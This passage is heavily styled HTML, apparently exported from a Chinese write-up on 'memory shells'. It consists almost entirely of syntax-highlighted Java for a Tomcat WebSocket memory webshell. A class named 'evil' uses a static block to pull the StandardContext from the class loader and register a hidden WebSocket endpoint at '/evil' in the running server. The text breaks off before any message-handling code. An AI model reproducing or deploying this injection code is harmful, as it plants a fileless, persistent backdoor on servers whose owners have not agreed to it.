style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">io</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ImportTok&#39;;color: #008000;font-weight: bold;font-family: Consolas;">InputStream</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">public</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> evil </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">extends</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Endpoint</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">implements</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> MessageHandler</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">Whole</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&lt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">String</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">&gt;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">static</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>WebappClassLoaderBase webappClassLoaderBase </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">WebappClassLoaderBase</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Thread</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">currentThread</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getContextClassLoader</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>StandardContext standardContext </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">StandardContext</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> webappClassLoaderBase</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getResources</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getContext</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>ServerEndpointConfig build </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> ServerEndpointConfig</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">Builder</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">create</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">evil</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;/evil&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">).</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">build</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span>WsServerContainer attribute </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">WsServerContainer</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> standardContext</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getServletContext</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getAttribute</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">ServerContainer</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">class</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getName</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">());</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span>attribute</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">addEndpoint</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">build</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">// System.out.println(&#34;ok!&#34;);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">DeploymentException e</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">throw</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">new</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">RuntimeException</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">e</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">private</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> Session session</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:websocket内存马;"><span style="font-family:Cambria;">              

